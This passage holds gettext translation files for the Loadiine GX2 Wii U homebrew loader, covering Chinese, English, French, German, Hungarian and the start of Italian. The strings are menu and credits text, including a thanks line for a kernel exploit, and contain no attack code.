"測試者:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "參與人員:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "基於:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0作者Golden45和Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "強烈感謝:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar的GameTDB與提供的封面和光盤封面" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1開發的內核破解程序" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "還有libwiiu小組和其他人所做出貢獻" #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "存檔增強:" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "啟用DLC支持:" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "更新文件夾" #: src/menu/GameLauncherMenu.cpp:77 msgid "Save Mode" msgstr "存檔模式" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "運行模式" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "<缺省設置>" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "保存遊戲何止!" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "關閉" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "開啟" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "旋轉圖標模式" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "網格視圖" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "旋轉封面模式" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "自定義背景" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "圖形化" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "遊戲查看選擇" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "更改日誌服務器的ip和端口" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "自定義遊戲路徑" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "自定義保存路徑" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "加載器" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "設置存檔模式" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "遊戲" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "HID設置" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "運行模式選擇" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "日誌服務器控制" #: src/menu/SettingsMenu.cpp:54 msgid "Padcon settings" msgstr "平板顯示控制設置" #: src/menu/SettingsMenu.cpp:54 msgid "PyGecko settings" msgstr "金手指設置" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "感謝" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "感謝所有為此項目的貢獻者" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "電視顯示樣式" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "平板顯示樣式" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "顯示遊戲設置" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "主機IP" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "遊戲路徑" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "遊戲存檔路徑" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "遊戲存檔模式" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "日誌服務器控制" #: src/menu/SettingsMenu.cpp:77 msgid "PyGecko" msgstr "金手指" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "平板屏幕控制" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "HID轉PAD控制" #: src/menu/SettingsMenu.cpp:80 #, fuzzy msgid "HID-Pad Rumble" msgstr "HID轉PAD控制" #: src/menu/SettingsMenu.cpp:81 #, fuzzy msgid "HID-Pad Network" msgstr "HID轉PAD控制" #~ msgid "Art Atelier Mode" #~ msgstr "繪心教室模式" #~ msgid "Shared Mode" #~ msgstr "共享模式" #~ msgid "Unique Mode" #~ msgstr "獨享模式" #~ msgid "Mii Maker Mode" #~ msgstr "Mii Maker模式" #~ msgid "Smash Bros Mode" #~ msgstr "超級大亂鬥模式" #~ msgid "Karaoke Mode" #~ msgstr "卡拉OK模式" #~ msgid "Log Server IP" #~ msgstr "日誌服務器IP" ================================================ FILE: languages/english.lang ================================================ # Loadiine GX2 language source file. # english.lang - vx.x # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: \n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language: \n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "" #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr "" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "" #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "" #: src/menu/GameLauncherMenu.cpp:77 msgid "Save Mode" msgstr "" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 msgid "" msgstr "" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "HID settings" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "Padcon settings" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "PyGecko settings" msgstr "" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "" #: src/menu/SettingsMenu.cpp:77 msgid "PyGecko" msgstr "" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" ================================================ FILE: languages/french.lang ================================================ # Loadiine GX2 language source file. # french.lang - v0.2 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2016-04-03 19:00+0200\n" "Last-Translator: BHackUP, littlebalup, Cyan\n" "Language-Team: BHackUP, littlebalup, Cyan\n" "Language: Français\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Site officiel:" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Développement:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Quelqu'un qui ne veut pas être nommé." #: src/menu/CreditsMenu.cpp:115 #, fuzzy msgid "Testing:" msgstr "Tests:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight et bien d'autres" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Présence sociale:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Basé sur:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0 de Golden45 et Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Remerciements à:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar pour GameTDB et l'hébergement des jaquettes" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1 pour son exploit kernel" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "Toute l'équipe libwiiu et ses contributeurs." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "" #: src/menu/GameLauncherMenu.cpp:77 #, fuzzy msgid "Save Mode" msgstr "Mode partagé" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Mode de lancement" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "Tests:" #: src/menu/GameLauncherMenu.cpp:492 #, fuzzy msgid "Saving game settings!" msgstr "Tests:" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Carrousel d'icônes" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Grille" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Carrousel de jaquettes" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "Interface" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Mode d'affichage des jeux" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Modifier IP / port serveur log" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Emplacement des jeux" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Emplacement des sauvegardes" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Définir le mode de sauvegarde" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Jeu" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "Tests:" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Méthode de lancement des jeux" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Serveur de log" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "Padcon settings" msgstr "Tests:" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "PyGecko settings" msgstr "Tests:" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Crédits" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Merci à tous les contributeurs" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Affichage des jeux sur TV" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Affichage des jeux sur GamePad" #: src/menu/SettingsMenu.cpp:66 #, fuzzy msgid "Show Game Settings" msgstr "Tests:" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Emplacement des jeux" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Emplacement des sauvegardes" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Mode de sauvegarde" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Activer les logs" #: src/menu/SettingsMenu.cpp:77 #, fuzzy msgid "PyGecko" msgstr "Tests:" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "Mode Art Atelier" #~ msgid "Shared Mode" #~ msgstr "Mode partagé" #~ msgid "Unique Mode" #~ msgstr "Mode unique" #~ msgid "Mii Maker Mode" #~ msgstr "Mode Mii Maker" #~ msgid "Smash Bros Mode" #~ msgstr "Mode Smash Bros" #~ msgid "Karaoke Mode" #~ msgstr "Mode Karaoke" #~ msgid "Log Server IP" #~ msgstr "Adresse IP du serveur log" ================================================ FILE: languages/german.lang ================================================ # Loadiine GX2 language source file. # german.lang - v0.3 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: \n" "Language-Team: \n" "Language: German\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "Loadiine GX2" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Offizielle Seite:" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Programmierer:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Jemand der nicht genannt werden will." #: src/menu/CreditsMenu.cpp:115 #, fuzzy msgid "Testing:" msgstr "Tester:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight und viele weitere" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Öffentliches Auftreten:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Basierend auf:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0 von Golden45 und Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Besonderen Dank an:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar für GameTDB und die Bereitstellung der Cover-Server" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1 für seinen Kernel-Exploit" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "Dem ganzen libwiiu Team und allen Mitwirkenden." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "" #: src/menu/GameLauncherMenu.cpp:77 #, fuzzy msgid "Save Mode" msgstr "Gemeisame Spielstände" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Spielstart-Methode" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "Tester:" #: src/menu/GameLauncherMenu.cpp:492 #, fuzzy msgid "Saving game settings!" msgstr "Tester:" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "Aus" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "An" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Iconkarussell" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Gitteransicht" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Coverkarussell" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "Hintergrundanpassungen" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "GUI" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Spielansicht Auswahl" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Logger-Einstellungen" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Spieleordner ändern" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Spielstandordner ändern" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "Loader" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Spielstand-Optionen" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Spiel" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "Tester:" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Spielstart-Methode auswählen" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Log-Server Kontrolle" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "Padcon settings" msgstr "Tester:" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "PyGecko settings" msgstr "Tester:" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Credits" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Mitwirkende" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Ansicht am Fernseher" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Ansicht am Gamepad" #: src/menu/SettingsMenu.cpp:66 #, fuzzy msgid "Show Game Settings" msgstr "Tester:" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Spielordner ändern" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Speicherstandordner ändern" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Speichermodus" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Log-Server Kontrolle" #: src/menu/SettingsMenu.cpp:77 #, fuzzy msgid "PyGecko" msgstr "Tester:" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "Art Atelier Modus" #~ msgid "Shared Mode" #~ msgstr "Gemeisame Spielstände" #~ msgid "Unique Mode" #~ msgstr "Getrennte Spielstände" #~ msgid "Mii Maker Mode" #~ msgstr "Mii Maker Modus" #~ msgid "Smash Bros Mode" #~ msgstr "Smash Bros Modus" #~ msgid "Karaoke Mode" #~ msgstr "Karaoke Modus" #~ msgid "Log Server IP" #~ msgstr "Log-Server IP" ================================================ FILE: languages/hungarian.lang ================================================ # Loadiine GX2 language source file. # hungarian.lang - v0.1 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2016-04-05 5:52+0200\n" "Last-Translator: Cava\n" "Language-Team: Cava\n" "Language: magyar\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Hivatalos Oldal:" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Kódolás:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "Kinézet:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Néhány srác, aki nem akarja, hogy meg legyen nevezve." #: src/menu/CreditsMenu.cpp:115 #, fuzzy msgid "Testing:" msgstr "Tesztelés:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight és még sokan mások" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Társadalmi Jelenlét:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Ennek alapján készült:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0 Golden45-től és Dimok-tól" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Hatalmas köszönet:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar-nak a GameTDB miatt és a borítókért / lemezek képeiért" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1-nek a kernel exploitért" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "Az egész libwiiu csapatnak és a közreműködőknek." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "" #: src/menu/GameLauncherMenu.cpp:77 #, fuzzy msgid "Save Mode" msgstr "Megosztott mód" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Indító Mód" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "Tesztelés:" #: src/menu/GameLauncherMenu.cpp:492 #, fuzzy msgid "Saving game settings!" msgstr "Tesztelés:" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "Ki" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "Be" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Kör-körös ikonok" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Rácsnézet" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Kör-körös borító" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "Háttér testreszabása" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "Grafikus felület" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Játéknézet választó" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Log szerver és IP port beállítása" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Játék útvonalának testreszabása" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Játék mentés útvonalának testreszabása" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "Betöltő" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Mentés mód beállítása" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Játék" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "Tesztelés:" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Indítási mód kiválaszatása" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Log szerver vezérlése" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "Padcon settings" msgstr "Tesztelés:" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "PyGecko settings" msgstr "Tesztelés:" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Köszönet" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Köszönet az összes hozzájárulónak" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Játék nézet TV-n" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Játék nézet a GamePaden" #: src/menu/SettingsMenu.cpp:66 #, fuzzy msgid "Show Game Settings" msgstr "Tesztelés:" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Játék elérési helye" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Játék mentési helye" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Játék mentési módja" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Log szerver vezérlése" #: src/menu/SettingsMenu.cpp:77 #, fuzzy msgid "PyGecko" msgstr "Tesztelés:" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "Art Atelier Mód" #~ msgid "Shared Mode" #~ msgstr "Megosztott mód" #~ msgid "Unique Mode" #~ msgstr "Egyedi Mód" #~ msgid "Mii Maker Mode" #~ msgstr "Mii készítő mód" #~ msgid "Smash Bros Mode" #~ msgstr "Smash Bros Mód" #~ msgid "Karaoke Mode" #~ msgstr "Karaoke Mód" #~ msgid "Log Server IP" #~ msgstr "Log szerver IP" ================================================ FILE: languages/italian.lang ================================================ # Loadiine GX2 language source file. # italian.lang - vx.x # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: Student\n" "Language-Team: Student\n" "Language: Italiano\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Sito Ufficiale" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Programmazione" #: src/menu/CreditsMenu.cpp:102 